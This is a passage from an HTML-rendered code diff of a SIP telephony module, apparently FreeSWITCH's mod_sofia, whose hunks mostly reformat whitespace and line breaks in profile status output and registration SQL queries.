</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_safe_free(extra_header);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1915,7 +1947,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end_lock:
</del><ins>+  end_lock:
</ins><span class="cx"> 
</span><span class="cx">         if (msg-&gt;message_id == SWITCH_MESSAGE_INDICATE_ANSWER || msg-&gt;message_id == SWITCH_MESSAGE_INDICATE_PROGRESS) {
</span><span class="cx">                 sofia_send_callee_id(session, NULL, NULL);
</span><span class="lines">@@ -1960,7 +1992,7 @@
</span><span class="cx"> 
</span><span class="cx"> typedef switch_status_t (*sofia_command_t) (char **argv, int argc, switch_stream_handle_t *stream);
</span><span class="cx"> 
</span><del>-static const char *sofia_state_names[] = { 
</del><ins>+static const char *sofia_state_names[] = {
</ins><span class="cx">         &quot;UNREGED&quot;,
</span><span class="cx">         &quot;TRYING&quot;,
</span><span class="cx">         &quot;REGISTER&quot;,
</span><span class="lines">@@ -1973,7 +2005,7 @@
</span><span class="cx">         NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-const char * sofia_state_string(int state) 
</del><ins>+const char *sofia_state_string(int state)
</ins><span class="cx"> {
</span><span class="cx">         return sofia_state_names[state];
</span><span class="cx"> }
</span><span class="lines">@@ -2025,7 +2057,7 @@
</span><span class="cx">         switch_time_exp_t tm;
</span><span class="cx">         const int buflen = 2048;
</span><span class="cx">         char xmlbuf[2048];
</span><del>-  
</del><ins>+
</ins><span class="cx">         if (argv[6]) {
</span><span class="cx">                 switch_time_t etime = atoi(argv[6]);
</span><span class="cx">                 switch_size_t retsize;
</span><span class="lines">@@ -2047,9 +2079,9 @@
</span><span class="cx">                                                            &quot;        &lt;sip-auth-user&gt;%s&lt;/sip-auth-user&gt;\n&quot;
</span><span class="cx">                                                            &quot;        &lt;sip-auth-realm&gt;%s&lt;/sip-auth-realm&gt;\n&quot;
</span><span class="cx">                                                            &quot;        &lt;mwi-account&gt;%s@%s&lt;/mwi-account&gt;\n&quot;
</span><del>-                                                           &quot;    &lt;/registration&gt;\n&quot;, 
-                                                           switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]), 
-                                                           switch_amp_encode(switch_str_nil(argv[3]),xmlbuf,buflen),
</del><ins>+                                                           &quot;    &lt;/registration&gt;\n&quot;,
+                                                           switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]),
+                                                           switch_amp_encode(switch_str_nil(argv[3]), xmlbuf, buflen),
</ins><span class="cx">                                                            switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]),
</span><span class="cx">                                                            switch_str_nil(argv[12]), switch_str_nil(argv[13]), switch_str_nil(argv[14]), switch_str_nil(argv[15]),
</span><span class="cx">                                                            switch_str_nil(argv[16]), switch_str_nil(argv[17]));
</span><span class="lines">@@ -2058,6 +2090,7 @@
</span><span class="cx"> 
</span><span class="cx"> static const char *status_names[] = { &quot;DOWN&quot;, &quot;UP&quot;, NULL };
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx"> static switch_status_t cmd_status(char **argv, int argc, switch_stream_handle_t *stream)
</span><span class="cx"> {
</span><span class="cx">         sofia_profile_t *profile = NULL;
</span><span class="lines">@@ -2074,6 +2107,7 @@
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;Invalid Syntax!\n&quot;);
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><ins>+
</ins><span class="cx">                 if (!strcasecmp(argv[0], &quot;gateway&quot;)) {
</span><span class="cx">                         if ((gp = sofia_reg_find_gateway(argv[1]))) {
</span><span class="cx">                                 switch_assert(gp-&gt;state &lt; REG_STATE_LAST);
</span><span class="lines">@@ -2115,29 +2149,28 @@
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;Name             \t%s\n&quot;, switch_str_nil(argv[1]));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;Domain Name      \t%s\n&quot;, profile-&gt;domain_name ? profile-&gt;domain_name : &quot;N/A&quot;);
</span><span class="cx">                                         if (strcasecmp(argv[1], profile-&gt;name)) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;Alias Of         \t%s\n&quot;, switch_str_nil(profile-&gt;name));
</del><ins>+                                                stream-&gt;write_function(stream, &quot;Alias Of         \t%s\n&quot;, switch_str_nil(profile-&gt;name));
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;Auto-NAT         \t%s\n&quot;, sofia_test_pflag(profile, PFLAG_AUTO_NAT) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;DBName           \t%s\n&quot;, profile-&gt;dbname ? profile-&gt;dbname : switch_str_nil(profile-&gt;odbc_dsn));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;Pres Hosts       \t%s\n&quot;, switch_str_nil(profile-&gt;presence_hosts));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;Dialplan         \t%s\n&quot;, switch_str_nil(profile-&gt;dialplan));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;Context          \t%s\n&quot;, switch_str_nil(profile-&gt;context));
</span><del>-                                        stream-&gt;write_function(stream, &quot;Challenge Realm  \t%s\n&quot;, 
-                                                                                   zstr(profile-&gt;challenge_realm) ? &quot;auto_to&quot; : profile-&gt;challenge_realm);
</del><ins>+                                        stream-&gt;write_function(stream, &quot;Challenge Realm  \t%s\n&quot;, zstr(profile-&gt;challenge_realm) ? &quot;auto_to&quot; : profile-&gt;challenge_realm);
</ins><span class="cx">                                         stream-&gt;write_function(stream, &quot;RTP-IP           \t%s\n&quot;, switch_str_nil(profile-&gt;rtpip));
</span><span class="cx">                                         if (profile-&gt;extrtpip) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;Ext-RTP-IP       \t%s\n&quot;, profile-&gt;extrtpip);
</del><ins>+                                                stream-&gt;write_function(stream, &quot;Ext-RTP-IP       \t%s\n&quot;, profile-&gt;extrtpip);
</ins><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;SIP-IP           \t%s\n&quot;, switch_str_nil(profile-&gt;sipip));
</span><span class="cx">                                         if (profile-&gt;extsipip) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;Ext-SIP-IP       \t%s\n&quot;, profile-&gt;extsipip);
</del><ins>+                                                stream-&gt;write_function(stream, &quot;Ext-SIP-IP       \t%s\n&quot;, profile-&gt;extsipip);
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;URL              \t%s\n&quot;, switch_str_nil(profile-&gt;url));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;BIND-URL         \t%s\n&quot;, switch_str_nil(profile-&gt;bindurl));
</span><span class="cx">                                         if (sofia_test_pflag(profile, PFLAG_TLS)) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;TLS-URL          \t%s\n&quot;, switch_str_nil(profile-&gt;tls_url));
-                                        stream-&gt;write_function(stream, &quot;TLS-BIND-URL     \t%s\n&quot;, switch_str_nil(profile-&gt;tls_bindurl));
</del><ins>+                                                stream-&gt;write_function(stream, &quot;TLS-URL          \t%s\n&quot;, switch_str_nil(profile-&gt;tls_url));
+                                                stream-&gt;write_function(stream, &quot;TLS-BIND-URL     \t%s\n&quot;, switch_str_nil(profile-&gt;tls_bindurl));
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;HOLD-MUSIC       \t%s\n&quot;, zstr(profile-&gt;hold_music) ? &quot;N/A&quot; : profile-&gt;hold_music);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;OUTBOUND-PROXY   \t%s\n&quot;, zstr(profile-&gt;outbound_proxy) ? &quot;N/A&quot; : profile-&gt;outbound_proxy);
</span><span class="lines">@@ -2146,11 +2179,11 @@
</span><span class="cx"> 
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;TEL-EVENT        \t%d\n&quot;, profile-&gt;te);
</span><span class="cx">                                         if (profile-&gt;dtmf_type == DTMF_2833) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;DTMF-MODE        \trfc2833\n&quot;);
</del><ins>+                                                stream-&gt;write_function(stream, &quot;DTMF-MODE        \trfc2833\n&quot;);
</ins><span class="cx">                                         } else if (profile-&gt;dtmf_type == DTMF_INFO) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;DTMF-MODE        \tinfo\n&quot;);
</del><ins>+                                                stream-&gt;write_function(stream, &quot;DTMF-MODE        \tinfo\n&quot;);
</ins><span class="cx">                                         } else {
</span><del>-                                        stream-&gt;write_function(stream, &quot;DTMF-MODE        \tnone\n&quot;);
</del><ins>+                                                stream-&gt;write_function(stream, &quot;DTMF-MODE        \tnone\n&quot;);
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;CNG              \t%d\n&quot;, profile-&gt;cng_pt);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;SESSION-TO       \t%d\n&quot;, profile-&gt;session_timeout);
</span><span class="lines">@@ -2158,14 +2191,15 @@
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;NOMEDIA          \t%s\n&quot;, sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;LATE-NEG         \t%s\n&quot;, sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;PROXY-MEDIA      \t%s\n&quot;, sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                                        stream-&gt;write_function(stream, &quot;AGGRESSIVENAT    \t%s\n&quot;, sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? &quot;true&quot; : &quot;false&quot;);
</del><ins>+                                        stream-&gt;write_function(stream, &quot;AGGRESSIVENAT    \t%s\n&quot;,
+                                                                                   sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? &quot;true&quot; : &quot;false&quot;);
</ins><span class="cx">                                         stream-&gt;write_function(stream, &quot;STUN-ENABLED     \t%s\n&quot;, sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;STUN-AUTO-DISABLE\t%s\n&quot;, sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         if (profile-&gt;user_agent_filter) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;USER-AGENT-FILTER\t%s\n&quot;, switch_str_nil(profile-&gt;user_agent_filter));
</del><ins>+                                                stream-&gt;write_function(stream, &quot;USER-AGENT-FILTER\t%s\n&quot;, switch_str_nil(profile-&gt;user_agent_filter));
</ins><span class="cx">                                         }
</span><span class="cx">                                         if (profile-&gt;max_registrations_perext &gt; 0) {
</span><del>-                                        stream-&gt;write_function(stream, &quot;MAX-REG-PEREXT   \t%d\n&quot;, profile-&gt;max_registrations_perext);
</del><ins>+                                                stream-&gt;write_function(stream, &quot;MAX-REG-PEREXT   \t%d\n&quot;, profile-&gt;max_registrations_perext);
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;CALLS-IN         \t%d\n&quot;, profile-&gt;ib_calls);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;FAILED-CALLS-IN  \t%d\n&quot;, profile-&gt;ib_failed_calls);
</span><span class="lines">@@ -2176,20 +2210,18 @@
</span><span class="cx"> 
</span><span class="cx">                                 cb.profile = profile;
</span><span class="cx">                                 cb.stream = stream;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!sql &amp;&amp; argv[2] &amp;&amp; !strcasecmp(argv[2], &quot;pres&quot;) &amp;&amp; argv[3]) {
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><del>-                                                        &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
-                                                        &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
-                                                        &quot; from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'&quot;, 
-                                                        profile-&gt;name, argv[3]);
</del><ins>+                                                                                 &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
+                                                                                 &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
+                                                                                 &quot; from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'&quot;, profile-&gt;name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql &amp;&amp; argv[2] &amp;&amp; !strcasecmp(argv[2], &quot;reg&quot;) &amp;&amp; argv[3]) {
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><del>-                                                        &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
-                                                        &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
-                                                        &quot; from sip_registrations where profile_name='%q' and contact like '%%%q%%'&quot;, 
-                                                        profile-&gt;name, argv[3]);
</del><ins>+                                                                                 &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
+                                                                                 &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
+                                                                                 &quot; from sip_registrations where profile_name='%q' and contact like '%%%q%%'&quot;, profile-&gt;name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql &amp;&amp; argv[2] &amp;&amp; !strcasecmp(argv[2], &quot;user&quot;) &amp;&amp; argv[3]) {
</span><span class="cx">                                         char *dup = strdup(argv[3]);
</span><span class="lines">@@ -2205,7 +2237,7 @@
</span><span class="cx">                                                 host = dup;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        if (zstr(user) ) {
</del><ins>+                                        if (zstr(user)) {
</ins><span class="cx">                                                 sqlextra = switch_mprintf(&quot;(sip_host='%q')&quot;, host);
</span><span class="cx">                                         } else if (zstr(host)) {
</span><span class="cx">                                                 sqlextra = switch_mprintf(&quot;(sip_user='%q')&quot;, user);
</span><span class="lines">@@ -2214,10 +2246,9 @@
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><del>-                                                        &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
-                                                        &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
-                                                        &quot; from sip_registrations where profile_name='%q' and %s&quot;,
-                                                        profile-&gt;name, sqlextra);
</del><ins>+                                                                                 &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
+                                                                                 &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
+                                                                                 &quot; from sip_registrations where profile_name='%q' and %s&quot;, profile-&gt;name, sqlextra);
</ins><span class="cx">                                         switch_safe_free(dup);
</span><span class="cx">                                         switch_safe_free(sqlextra);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2226,8 +2257,7 @@
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><span class="cx">                                                                                  &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
</span><span class="cx">                                                                                  &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
</span><del>-                                                                                 &quot; from sip_registrations where profile_name='%q'&quot;, 
-                                                                                 profile-&gt;name);
</del><ins>+                                                                                 &quot; from sip_registrations where profile_name='%q'&quot;, profile-&gt;name);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, show_reg_callback, &amp;cb);
</span><span class="lines">@@ -2301,9 +2331,9 @@
</span><span class="cx">         char xmlbuf[2096];
</span><span class="cx">         int c = 0;
</span><span class="cx">         int ac = 0;
</span><del>-  const char *header = &quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;ISO-8859-1\&quot;?&gt;&quot;;
-        
-  if (argc &gt; 0) {
</del><ins>+        const char *header = &quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;ISO-8859-1\&quot;?&gt;&quot;;
+
+        if (argc &gt; 0) {
</ins><span class="cx">                 if (argc == 1) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;Invalid Syntax!\n&quot;);
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2319,9 +2349,9 @@
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;    &lt;realm&gt;%s&lt;/realm&gt;\n&quot;, switch_str_nil(gp-&gt;register_realm));
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;    &lt;username&gt;%s&lt;/username&gt;\n&quot;, switch_str_nil(gp-&gt;register_username));
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;    &lt;password&gt;%s&lt;/password&gt;\n&quot;, zstr(gp-&gt;register_password) ? &quot;no&quot; : &quot;yes&quot;);
</span><del>-                                stream-&gt;write_function(stream, &quot;    &lt;from&gt;%s&lt;/from&gt;\n&quot;, switch_amp_encode(switch_str_nil(gp-&gt;register_from),xmlbuf,buflen));
-                                stream-&gt;write_function(stream, &quot;    &lt;contact&gt;%s&lt;/contact&gt;\n&quot;, switch_amp_encode(switch_str_nil(gp-&gt;register_contact),xmlbuf,buflen));
-                                stream-&gt;write_function(stream, &quot;    &lt;exten&gt;%s&lt;/exten&gt;\n&quot;, switch_amp_encode(switch_str_nil(gp-&gt;extension),xmlbuf,buflen));
</del><ins>+                                stream-&gt;write_function(stream, &quot;    &lt;from&gt;%s&lt;/from&gt;\n&quot;, switch_amp_encode(switch_str_nil(gp-&gt;register_from), xmlbuf, buflen));
+                                stream-&gt;write_function(stream, &quot;    &lt;contact&gt;%s&lt;/contact&gt;\n&quot;, switch_amp_encode(switch_str_nil(gp-&gt;register_contact), xmlbuf, buflen));
+                                stream-&gt;write_function(stream, &quot;    &lt;exten&gt;%s&lt;/exten&gt;\n&quot;, switch_amp_encode(switch_str_nil(gp-&gt;extension), xmlbuf, buflen));
</ins><span class="cx">                                 stream-&gt;write_function(stream, &quot;    &lt;to&gt;%s&lt;/to&gt;\n&quot;, switch_str_nil(gp-&gt;register_to));
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;    &lt;proxy&gt;%s&lt;/proxy&gt;\n&quot;, switch_str_nil(gp-&gt;register_proxy));
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;    &lt;context&gt;%s&lt;/context&gt;\n&quot;, switch_str_nil(gp-&gt;register_context));
</span><span class="lines">@@ -2358,7 +2388,7 @@
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;pres-hosts&gt;%s&lt;/pres-hosts&gt;\n&quot;, switch_str_nil(profile-&gt;presence_hosts));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;dialplan&gt;%s&lt;/dialplan&gt;\n&quot;, switch_str_nil(profile-&gt;dialplan));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;context&gt;%s&lt;/context&gt;\n&quot;, switch_str_nil(profile-&gt;context));
</span><del>-                                        stream-&gt;write_function(stream, &quot;    &lt;challenge-realm&gt;%s&lt;/challenge-realm&gt;\n&quot;, 
</del><ins>+                                        stream-&gt;write_function(stream, &quot;    &lt;challenge-realm&gt;%s&lt;/challenge-realm&gt;\n&quot;,
</ins><span class="cx">                                                                                    zstr(profile-&gt;challenge_realm) ? &quot;auto_to&quot; : profile-&gt;challenge_realm);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;rtp-ip&gt;%s&lt;/rtp-ip&gt;\n&quot;, switch_str_nil(profile-&gt;rtpip));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;ext-rtp-ip&gt;%s&lt;/ext-rtp-ip&gt;\n&quot;, profile-&gt;extrtpip);
</span><span class="lines">@@ -2369,7 +2399,8 @@
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;tls-url&gt;%s&lt;/tls-url&gt;\n&quot;, switch_str_nil(profile-&gt;tls_url));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;tls-bind-url&gt;%s&lt;/tls-bind-url&gt;\n&quot;, switch_str_nil(profile-&gt;tls_bindurl));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;hold-music&gt;%s&lt;/hold-music&gt;\n&quot;, zstr(profile-&gt;hold_music) ? &quot;N/A&quot; : profile-&gt;hold_music);
</span><del>-                                        stream-&gt;write_function(stream, &quot;    &lt;outbound-proxy&gt;%s&lt;/outbound-proxy&gt;\n&quot;, zstr(profile-&gt;outbound_proxy) ? &quot;N/A&quot; : profile-&gt;outbound_proxy);
</del><ins>+                                        stream-&gt;write_function(stream, &quot;    &lt;outbound-proxy&gt;%s&lt;/outbound-proxy&gt;\n&quot;,
+                                                                                   zstr(profile-&gt;outbound_proxy) ? &quot;N/A&quot; : profile-&gt;outbound_proxy);
</ins><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;inbound-codecs&gt;%s&lt;/inbound-codecs&gt;\n&quot;, switch_str_nil(profile-&gt;inbound_codec_string));
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;outbound-codecs&gt;%s&lt;/outbound-codecs&gt;\n&quot;, switch_str_nil(profile-&gt;outbound_codec_string));
</span><span class="cx"> 
</span><span class="lines">@@ -2383,13 +2414,15 @@
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;nomedia&gt;%s&lt;/nomedia&gt;\n&quot;, sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;late-neg&gt;%s&lt;/late-neg&gt;\n&quot;, sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;proxy-media&gt;%s&lt;/proxy-media&gt;\n&quot;, sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                                        stream-&gt;write_function(stream, &quot;    &lt;aggressive-nat&gt;%s&lt;/aggressive-nat&gt;\n&quot;, 
</del><ins>+                                        stream-&gt;write_function(stream, &quot;    &lt;aggressive-nat&gt;%s&lt;/aggressive-nat&gt;\n&quot;,
</ins><span class="cx">                                                                                    sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                                        stream-&gt;write_function(stream, &quot;    &lt;stun-enabled&gt;%s&lt;/stun-enabled&gt;\n&quot;, sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? &quot;true&quot; : &quot;false&quot;);
-                                        stream-&gt;write_function(stream, &quot;    &lt;stun-auto-disable&gt;%s&lt;/stun-auto-disable&gt;\n&quot;, 
</del><ins>+                                        stream-&gt;write_function(stream, &quot;    &lt;stun-enabled&gt;%s&lt;/stun-enabled&gt;\n&quot;,
+                                                                                   sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? &quot;true&quot; : &quot;false&quot;);
+                                        stream-&gt;write_function(stream, &quot;    &lt;stun-auto-disable&gt;%s&lt;/stun-auto-disable&gt;\n&quot;,
</ins><span class="cx">                                                                                    sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;user-agent-filter&gt;%s&lt;/user-agent-filter&gt;\n&quot;, switch_str_nil(profile-&gt;user_agent_filter));
</span><del>-                                        stream-&gt;write_function(stream, &quot;    &lt;max-registrations-per-extension&gt;%d&lt;/max-registrations-per-extension&gt;\n&quot;, profile-&gt;max_registrations_perext);
</del><ins>+                                        stream-&gt;write_function(stream, &quot;    &lt;max-registrations-per-extension&gt;%d&lt;/max-registrations-per-extension&gt;\n&quot;,
+                                                                                   profile-&gt;max_registrations_perext);
</ins><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;calls-in&gt;%d&lt;/calls-in&gt;\n&quot;, profile-&gt;ib_calls);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;calls-out&gt;%d&lt;/calls-out&gt;\n&quot;, profile-&gt;ob_calls);
</span><span class="cx">                                         stream-&gt;write_function(stream, &quot;    &lt;failed-calls-in&gt;%d&lt;/failed-calls-in&gt;\n&quot;, profile-&gt;ib_failed_calls);
</span><span class="lines">@@ -2404,18 +2437,16 @@
</span><span class="cx">                                 if (!sql &amp;&amp; argv[2] &amp;&amp; !strcasecmp(argv[2], &quot;pres&quot;) &amp;&amp; argv[3]) {
</span><span class="cx"> 
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><del>-                                                        &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
-                                                        &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
-                                                        &quot; from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'&quot;, 
-                                                        profile-&gt;name, argv[3]);
</del><ins>+                                                                                 &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
+                                                                                 &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
+                                                                                 &quot; from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'&quot;, profile-&gt;name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql &amp;&amp; argv[2] &amp;&amp; !strcasecmp(argv[2], &quot;reg&quot;) &amp;&amp; argv[3]) {
</span><span class="cx"> 
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><del>-                                                        &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
-                                                        &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
-                                                        &quot; from sip_registrations where profile_name='%q' and contact like '%%%q%%'&quot;, 
-                                                        profile-&gt;name, argv[3]);
</del><ins>+                                                                                 &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
+                                                                                 &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
+                                                                                 &quot; from sip_registrations where profile_name='%q' and contact like '%%%q%%'&quot;, profile-&gt;name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql &amp;&amp; argv[2] &amp;&amp; !strcasecmp(argv[2], &quot;user&quot;) &amp;&amp; argv[3]) {
</span><span class="cx">                                         char *dup = strdup(argv[3]);
</span><span class="lines">@@ -2440,10 +2471,9 @@
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><del>-                                                        &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
-                                                        &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
-                                                        &quot; from sip_registrations where profile_name='%q' and %s&quot;,
-                                                        profile-&gt;name, sqlextra);
</del><ins>+                                                                                 &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
+                                                                                 &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
+                                                                                 &quot; from sip_registrations where profile_name='%q' and %s&quot;, profile-&gt;name, sqlextra);
</ins><span class="cx">                                         switch_safe_free(dup);
</span><span class="cx">                                         switch_safe_free(sqlextra);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2452,8 +2482,7 @@
</span><span class="cx">                                         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,&quot;
</span><span class="cx">                                                                                  &quot;rpid,expires,user_agent,server_user,server_host,profile_name,hostname,&quot;
</span><span class="cx">                                                                                  &quot;network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host&quot;
</span><del>-                                                                                 &quot; from sip_registrations where profile_name='%q'&quot;, 
-                                                                                 profile-&gt;name);
</del><ins>+                                                                                 &quot; from sip_registrations where profile_name='%q'&quot;, profile-&gt;name);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, show_reg_callback_xml, &amp;cb);
</span><span class="lines">@@ -2473,8 +2502,8 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-  stream-&gt;write_function(stream, &quot;%s\n&quot;, header);
-  stream-&gt;write_function(stream, &quot;&lt;profiles&gt;\n&quot;);
</del><ins>+        stream-&gt;write_function(stream, &quot;%s\n&quot;, header);
+        stream-&gt;write_function(stream, &quot;&lt;profiles&gt;\n&quot;);
</ins><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &amp;vvar, NULL, &amp;val);
</span><span class="lines">@@ -2483,21 +2512,26 @@
</span><span class="cx"> 
